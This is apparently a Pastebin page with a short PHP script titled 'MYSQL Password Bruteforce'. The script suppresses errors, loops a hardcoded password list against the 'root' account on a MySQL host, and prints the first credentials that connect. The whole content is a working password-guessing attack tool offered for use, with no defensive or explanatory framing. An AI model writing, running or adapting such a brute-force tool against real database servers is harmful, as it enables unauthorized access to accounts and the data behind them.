Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Description: MYSQL Password Bruteforce
- */
- error_reporting(0);
- $host = 'localhost'; #MYSQL Server
- $username = array('root'); #List of users
- $password = array('hello', 'bxi34x', 'brutus', 'xeaf3', 'dwa45hb2', 'stdb'); #Password list
- $numOfUsers = count($username); #count numbers of users
- $numOfPass = count($password); #count numbers of passwords
- for($i = 0; $i < $numOfUsers; $i++){ #start looping through users
- $user = $username[$i]; #get user
- for($j = 0; $j < $numOfPass; $j++){#start looping through passwords
- $pass = $password[$j]; #get password
- $connect = mysql_connect($host, $user, $pass); #connect to mysql
- if($connect == true){ #sucess
- echo 'Connection sucessful, <br/>username: <b>'.$user.'</b><br/>password: <b>'.$pass.'</b>';
- mysql_close($connect);
- exit();
- }
- }
- }
- echo 'Unable to connect, try different username & passwords...';
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement